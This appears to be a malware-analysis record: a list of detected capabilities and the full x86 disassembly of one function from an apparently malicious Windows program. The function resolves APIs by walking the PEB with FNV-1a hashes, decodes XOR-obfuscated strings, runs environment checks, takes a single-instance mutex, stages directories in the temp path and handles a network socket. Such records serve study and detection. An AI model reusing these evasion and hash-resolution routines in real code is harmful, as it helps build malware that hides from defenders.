Function at 0x45e4b0
Capabilities:
Access peb ldr_data
Check mutex on windows
Create directory
Create thread
Delete file
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
mov ecx, 0x532b1c
push 0xffffffffffffffff
push 0x501fe0
push eax
mov dword fs:[0], esp
sub esp, 0x81c
push ebx
push esi
push edi
call fcn.00402650
xor ecx, ecx
mov esi, eax
call fcn.00402e20
add eax, 0x6c
add eax, esi
push eax
call fcn.004e1ade
add esp, 4
push 0x100
push 0
push 0x534eb0
call fcn.004dde70
add esp, 0xc
mov ecx, 0x532b1c
call fcn.00402650
push eax
mov ecx, 0x532b1c
call fcn.004027a0
push eax
push 0x534eb0
call fcn.004dd8f0
add esp, 0xc
mov ecx, 0x532b4c
call fcn.00402650
push eax
mov ecx, 0x532b4c
call fcn.004027a0
push eax
push 0x534f14
call fcn.004dd8f0
add esp, 0xc
mov ecx, 0x532b1c
call fcn.004027a0
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45e560
sub eax, edx
mov ecx, 0x532b1c
push eax
call fcn.004027a0
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00402740
push eax
mov ecx, 0x532b1c
call fcn.00464d40
lea ecx, [ebp - 0x2ec]
call fcn.00402660
mov ecx, 0x532c3c
call fcn.004027a0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45e5a3
sub eax, edx
mov ecx, 0x532c3c
push eax
call fcn.004027a0
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402740
push eax
mov ecx, 0x532c3c
call fcn.00464d40
lea ecx, [ebp - 0x12c]
call fcn.00402660
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0045e2f0
test al, al
jne 0x45e605
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x200
lea eax, [ebp - 0x720]
push 0
push eax
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0x720]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x720]
push eax
lea ecx, [ebp - 0x3e8]
call fcn.00402700
sub esp, 0x18
lea eax, [ebp - 0x3e8]
mov ecx, esp
push eax
call fcn.00464ec0
mov edx, 0x1e8480
lea ecx, [ebp - 0x204]
call fcn.0040b530
add esp, 0x18
mov ecx, 0x535270
call fcn.00402650
mov esi, dword [ebp - 0x204]
xor edi, edi
mov dword [ebp - 0x114], eax
mov ecx, dword [esi + 0x10]
sub ecx, eax
je 0x45e777
cmp dword [esi + 0x14], 0x10
jb 0x45e690
mov esi, dword [esi]
mov ecx, 0x535270
call fcn.004027a0
mov ecx, dword [esi + edi]
cmp ecx, dword [eax]
jne 0x45e6d8
mov ecx, dword [esi + edi + 4]
cmp ecx, dword [eax + 4]
jne 0x45e6d8
lea ecx, [ebp - 0x204]
call fcn.00463b40
mov ecx, eax
call fcn.004027a0
mov ecx, 0x535270
mov esi, dword [eax + edi + 8]
mov ebx, dword [eax + edi + 0xc]
call fcn.004027a0
cmp esi, dword [eax + 8]
jne 0x45e6d8
cmp ebx, dword [eax + 0xc]
je 0x45e6f1
mov esi, dword [ebp - 0x204]
inc edi
mov eax, dword [esi + 0x10]
sub eax, dword [ebp - 0x114]
cmp edi, eax
jb 0x45e688
jmp 0x45e777
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x2a], 0x998494a3
mov dword [ebp - 0x26], 0xda9d9791
mov word [ebp - 0x22], 0x100
call fcn.0040e8b0
movaps xmm0, xmmword [0x524040]
lea ecx, [ebp - 0x284]
movups xmmword [ebp - 0x284], xmm0
mov esi, eax
mov dword [ebp - 0x254], 0x4e064b51
movaps xmm0, xmmword [0x5241b0]
movups xmmword [ebp - 0x274], xmm0
mov dword [ebp - 0x250], 0x100165c
movaps xmm0, xmmword [0x5244e0]
movups xmmword [ebp - 0x264], xmm0
call fcn.004448d0
push 0x14
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x45e771
lea esi, [eax + 5]
jmp 0x46137c
mov esi, dword [ebp - 0x204]
push 0
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.004675f0
push 0
mov dword [ebp - 4], 0xffffffff
call fcn.004e9e2b
add esp, 4
push eax
call fcn.004e1ade
add esp, 4
mov dword [ebp - 0x30], 0x92838780
lea ecx, [ebp - 0x30]
mov word [ebp - 0x2c], 0x100
call fcn.004620b0
push 0
lea eax, [ebp - 0x30]
mov ecx, 0x532b64
push eax
call fcn.00464940
test eax, eax
jne 0x45e948
call fcn.004146b0
test al, al
je 0x45e88d
mov eax, dword fs:[0x30]
mov dword [ebp - 0x228], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x84], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x84], ecx
cmp ecx, esi
je 0x45e864
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45e864
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45e85d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45e840
cmp esi, 0xe80fd3a
je 0x45e868
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45e824
mov eax, dword [eax]
jmp 0x45e7f1
mov eax, dword [ebp - 0x84]
mov edx, dword [ebp - 0x4c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x228]
jmp 0x45e93d
call fcn.004147f0
test al, al
jne 0x45e948
mov eax, dword fs:[0x30]
mov dword [ebp - 0x130], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x84], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x4c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c], ecx
cmp ecx, esi
je 0x45e919
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45e919
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45e912
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45e8f5
cmp esi, 0xe80fd3a
je 0x45e91d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45e8e0
mov eax, dword [eax]
jmp 0x45e8b0
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x84]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x130]
add esi, edx
call fcn.00466b80
push dword [eax]
call esi
lea ecx, [ebp - 0xd2]
mov dword [ebp - 0xd2], 0x92838780
mov word [ebp - 0xce], 0x100
call fcn.004620b0
push 0
lea eax, [ebp - 0xd2]
mov ecx, 0x532b04
push eax
call fcn.00464940
test eax, eax
jne 0x45ea55
call fcn.00414830
mov bl, al
call fcn.004148c0
mov bh, al
call fcn.00414b20
test bl, bl
jne 0x45e9ad
test bh, bh
jne 0x45e9ad
test al, al
jne 0x45e9ad
call fcn.004146f0
test al, al
je 0x45ea55
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x84], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x4c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c], ecx
cmp ecx, esi
je 0x45ea29
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ea29
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ea22
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ea05
cmp esi, 0xe80fd3a
je 0x45ea2d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45e9f0
mov eax, dword [eax]
jmp 0x45e9c0
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x84]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x14]
add esi, edx
call fcn.00466b80
push dword [eax]
call esi
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0xd8], 0x92838780
mov word [ebp - 0xd4], 0x100
call fcn.004620b0
push 0
lea eax, [ebp - 0xd8]
mov ecx, 0x532c24
push eax
call fcn.00464940
test eax, eax
jne 0x45ea92
lea ecx, [eax + 1]
call fcn.00414cd0
lea ecx, [ebp - 0xde]
mov dword [ebp - 0xde], 0x92838780
mov word [ebp - 0xda], 0x100
call fcn.004620b0
push 0
lea eax, [ebp - 0xde]
mov ecx, 0x532c0c
push eax
call fcn.00464940
test eax, eax
jne 0x45eacc
call fcn.00417c50
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xe4], 0x92838780
mov word [ebp - 0xe0], 0x100
call fcn.004620b0
push 0
lea eax, [ebp - 0xe4]
mov ecx, 0x532bac
push eax
call fcn.00464940
test eax, eax
mov dword [ebp - 0x13d], 0x9f989c83
lea ecx, [ebp - 0x13d]
mov dword [ebp - 0x139], 0xd58a8d8c
sete byte [ebp - 0x15]
mov dword [ebp - 0x135], 0x929198
mov byte [ebp - 0x131], 1
call fcn.00462020
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x84], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x4c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c], ecx
cmp ecx, esi
je 0x45eba9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45eba9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45eba2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45eb85
cmp esi, 0x53b2070f
je 0x45ebad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45eb70
mov eax, dword [eax]
jmp 0x45eb40
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x84]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x13d]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x45ebdd
xor esi, esi
jmp 0x46137c
lea ecx, [ebp - 0x1c2]
mov dword [ebp - 0x1c2], 0xbeb8bca3
mov dword [ebp - 0x1be], 0xd5aebcb6
mov dword [ebp - 0x1ba], 0xb2b1b8
mov byte [ebp - 0x1b6], 1
call fcn.0040d440
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.0047f960
push 0
lea ecx, [ebp - 0xc9]
mov word [ebp - 0xc9], 0xce
mov byte [ebp - 0xc7], 1
call fcn.00409f10
push eax
mov ecx, 0x532b4c
call fcn.00464940
cmp eax, 0xffffffff
je 0x45ecdc
sub esp, 0x18
mov word [ebp - 0xcc], 0xce
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0xca], 1
mov esi, esp
call fcn.00409f10
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov ecx, esp
push 0x532b4c
call fcn.00464ec0
lea ecx, [ebp - 0x24c]
call fcn.0040be70
add esp, 0x30
lea ecx, [ebp - 0x24c]
call fcn.00463b10
cmp eax, 2
jne 0x45ecd1
push 1
lea ecx, [ebp - 0x24c]
call fcn.00463af0
push eax
mov ecx, 0x5350c8
call fcn.00464d10
push 0
lea ecx, [ebp - 0x24c]
call fcn.00463af0
push eax
mov ecx, 0x532b4c
call fcn.00464d10
lea ecx, [ebp - 0x24c]
call fcn.00463c00
push 0
push 0
push 0
push 0x41e250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x532aac], 0xffffffff
jne 0x45edba
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x84], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x4c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c], ecx
cmp ecx, esi
je 0x45ed89
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ed89
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ed82
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ed65
cmp esi, 0x2fa62ca8
je 0x45ed8d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45ed50
mov eax, dword [eax]
jmp 0x45ed20
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x84]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x532aac], 0xffffffff
je 0x45ed10
lea ecx, [ebp - 0xfa]
mov dword [ebp - 0xfa], 0x100afae
call fcn.00409f20
push eax
lea ecx, [ebp - 0x240]
call fcn.00402700
mov ecx, 0x104
lea eax, [ebp - 0x828]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x45ede6
lea eax, [ebp - 0x828]
push eax
push 0xfc
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xd
lea ecx, [ebp - 0x3b8]
call fcn.0040c1d0
lea eax, [ebp - 0x3b8]
mov dword [ebp - 0x144], 0xb6949a9e
push eax
lea ecx, [ebp - 0x144]
mov word [ebp - 0x140], 0xcb
mov byte [ebp - 0x13e], 1
call fcn.004094f0
push eax
lea ecx, [ebp - 0x460]
call fcn.00402700
push eax
lea edx, [ebp - 0x828]
lea ecx, [ebp - 0x448]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x430]
mov edx, eax
call fcn.00468e20
add esp, 4
mov ecx, 0x532aec
push eax
call fcn.00464d40
lea ecx, [ebp - 0x430]
call fcn.00402660
lea ecx, [ebp - 0x448]
call fcn.00402660
lea ecx, [ebp - 0x460]
call fcn.00402660
lea eax, [ebp - 0x3b8]
mov dword [ebp - 0xaf], 0xb6949a9e
push eax
lea ecx, [ebp - 0xaf]
mov word [ebp - 0xab], 0xcc
mov byte [ebp - 0xa9], 1
call fcn.004094f0
push eax
lea ecx, [ebp - 0x490]
call fcn.00402700
push eax
lea edx, [ebp - 0x828]
lea ecx, [ebp - 0x478]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x29c]
mov edx, eax
call fcn.00468e20
add esp, 4
lea ecx, [ebp - 0x478]
call fcn.00402660
lea ecx, [ebp - 0x490]
call fcn.00402660
mov ecx, 0x532aec
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x45ef35
push 0
mov dl, 1
mov ecx, 0x532aec
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x29c]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x45ef5d
push 0
mov dl, 1
lea ecx, [ebp - 0x29c]
call fcn.0040ba90
add esp, 4
push 0
mov ecx, 0x532aec
call fcn.004027a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x45ef8e
mov ecx, 0x532aec
call fcn.00415b70
test al, al
je 0x461173
push 0
lea ecx, [ebp - 0x29c]
call fcn.004027a0
push eax
call esi
test eax, eax
jne 0x45efad
lea ecx, [ebp - 0x29c]
call fcn.00415b70
lea ecx, [ebp - 0x29c]
call fcn.004027a0
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x130], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45f039
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f039
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f032
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f015
cmp esi, 0x7a5b9fa2
je 0x45f03d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f000
mov eax, dword [eax]
jmp 0x45efd0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x130]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x10]
add esi, edx
call fcn.00466b80
push dword [eax]
call esi
lea eax, [ebp - 0x29c]
mov ecx, 0x532b7c
push eax
call fcn.00464d10
call fcn.00415f50
test al, al
je 0x45f24f
cmp byte [ebp - 0x15], 0
jne 0x45f24f
push 0x532b1c
lea ecx, [ebp - 0x63]
mov dword [ebp - 0x63], 0x949f9987
mov dword [ebp - 0x5f], 0x9296aa93
mov dword [ebp - 0x5b], 0x91bf9898
mov word [ebp - 0x57], 0x64
mov byte [ebp - 0x55], 1
call fcn.0040a210
mov edx, eax
lea ecx, [ebp - 0x2ec]
call fcn.00468cc0
add esp, 4
mov ecx, eax
call fcn.004027a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x2ec]
call fcn.00402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x461359
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x1e
push 0x3e8
call edi
sub esi, 1
jne 0x45f102
sub esp, 0x18
mov dword [ebp - 0x2a], 0xb4b8a3bc
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x26], 0x97969dd6
mov word [ebp - 0x22], 0x100
mov esi, esp
call fcn.0040e8b0
push eax
mov ecx, esi
call fcn.00402700
call fcn.0041e710
mov ecx, dword [0x535168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x535164]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45f183
nop
push 0x30
call edi
mov ecx, dword [0x535168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x535164]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x45f160
push 2
push dword [0x532aac]
mov byte [0x534e81], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x532aac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x14], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x10], ecx
cmp ecx, edx
je 0x45f224
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f224
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x45f21d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x45f200
cmp esi, 0x2fa62ca8
je 0x45f228
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x45f1e5
mov eax, dword [eax]
jmp 0x45f1c0
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x159
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x45f1b0
lea ecx, [ebp - 0x93]
mov byte [0x534eab], 0
mov word [ebp - 0x93], 0x88
mov byte [ebp - 0x91], 1
call fcn.00409f10
lea ecx, [ebp - 0x34c]
mov ebx, eax
call fcn.0040cbb0
push 0
push 0x630a12
mov edi, eax
call fcn.00407d20
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [0x532aac]
lea ecx, [ebp - 0x4a8]
mov esi, esp
mov dword [ebp - 0x14], eax
mov edx, edi
push 0x532b1c
push ebx
call fcn.00468c60
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.00468e20
mov edx, dword [ebp - 0x10]
add esp, 4
mov ecx, dword [ebp - 0x14]
call fcn.0041d6c0
add esp, 0x18
lea ecx, [ebp - 0x4a8]
mov esi, eax
call fcn.00402660
lea ecx, [ebp - 0x34c]
call fcn.00402660
test esi, esi
jle 0x45f3b2
cmp byte [0x534eab], 0
jne 0x45f3b2
nop dword [eax]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x94], 0x64
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x45f379
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f379
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f372
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f355
cmp esi, 0x2fa62ca8
je 0x45f37d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f340
mov eax, dword [eax]
jmp 0x45f316
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x94]
add esi, edx
call fcn.00466b80
push dword [eax]
call esi
cmp byte [0x534eab], 0
je 0x45f300
mov edx, 0x532ad4
lea ecx, [ebp - 0x27c]
call fcn.0041bd00
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x240]
call fcn.00464d10
cmp dword [0x532ae4], 0
jne 0x45f45c
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x230], 0
jne 0x45f45c
mov edx, 0x532ad4
lea ecx, [ebp - 0x364]
call fcn.0041bd00
mov esi, eax
lea ecx, [ebp - 0x27c]
push esi
call fcn.00464d40
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x264]
call fcn.00464d40
lea ecx, [ebp - 0x34c]
call fcn.00402660
lea ecx, [ebp - 0x364]
call fcn.00402660
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x240]
call fcn.00464d10
push 0
push 0x632e99
call fcn.00407d20
add esp, 8
push eax
call edi
cmp dword [0x532ae4], 0
je 0x45f3e3
mov ecx, 0x532ad4
call fcn.004027a0
push 0x51fae8
push eax
call fcn.004dd4e0
add esp, 8
test eax, eax
je 0x45f50e
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x12c]
call fcn.004027f0
push 1
push 0x51f830
lea ecx, [ebp - 0x12c]
call fcn.00402810
push edi
lea ecx, [ebp - 0x224]
call fcn.004027f0
push 1
push 0x51fae8
lea ecx, [ebp - 0x224]
call fcn.00402810
lea eax, [ebp - 0x12c]
mov ecx, 0x532ad4
push eax
lea edx, [ebp - 0x224]
call fcn.0040c170
add esp, 4
lea ecx, [ebp - 0x224]
call fcn.00402660
lea ecx, [ebp - 0x12c]
call fcn.00402660
mov ecx, 0x532ad4
call fcn.004027a0
push 0x51fae8
push eax
call fcn.004dd4e0
add esp, 8
test eax, eax
jne 0x45f482
lea ecx, [ebp - 0xfe]
mov dword [ebp - 0xfe], 0x100a0a6
call fcn.00409f20
push eax
lea ecx, [ebp - 0x610]
call fcn.00402700
lea ecx, [ebp - 0x102]
mov dword [ebp - 0x102], 0x100afbf
call fcn.00409f20
push eax
lea ecx, [ebp - 0x5f8]
call fcn.00402700
lea ecx, [ebp - 0x106]
mov dword [ebp - 0x106], 0x100acb6
call fcn.00409f20
push eax
lea ecx, [ebp - 0x5e0]
call fcn.00402700
lea ecx, [ebp - 0x10a]
mov dword [ebp - 0x10a], 0x100b8b5
call fcn.00409f20
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00402700
lea ecx, [ebp - 0x10e]
mov dword [ebp - 0x10e], 0x100afa1
call fcn.00409f20
push eax
lea ecx, [ebp - 0x5b0]
call fcn.00402700
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], 0x100b1b9
call fcn.00409f20
push eax
lea ecx, [ebp - 0x598]
call fcn.00402700
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x68], 0x100b2bf
call fcn.00409f20
push eax
lea ecx, [ebp - 0x580]
call fcn.00402700
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x100bfa0
call fcn.00409f20
push eax
lea ecx, [ebp - 0x568]
call fcn.00402700
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], 0x100b4a1
call fcn.00409f20
push eax
lea ecx, [ebp - 0x550]
call fcn.00402700
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x54], 0x100afb5
call fcn.00409f20
push eax
lea ecx, [ebp - 0x538]
call fcn.00402700
lea eax, [ebp - 0x520]
push eax
lea eax, [ebp - 0x610]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.00461ac0
lea ecx, [ebp - 0x418]
push dword [eax + 4]
push dword [eax]
call fcn.004613e0
push fcn.00402660
push 0xa
push 0x18
lea eax, [ebp - 0x610]
push eax
call fcn.004dbed5
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0x418]
call fcn.00469a70
test eax, eax
je 0x45f6d7
movaps xmm0, xmmword [0x524ab0]
lea ecx, [ebp - 0x2c0]
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2b0], 0x1007677
call fcn.0040e940
push 0x51fa74
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x45f6d7
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.NtDebugWriter
call ebx
call fcn.0041e8d0
call fcn.0041e940
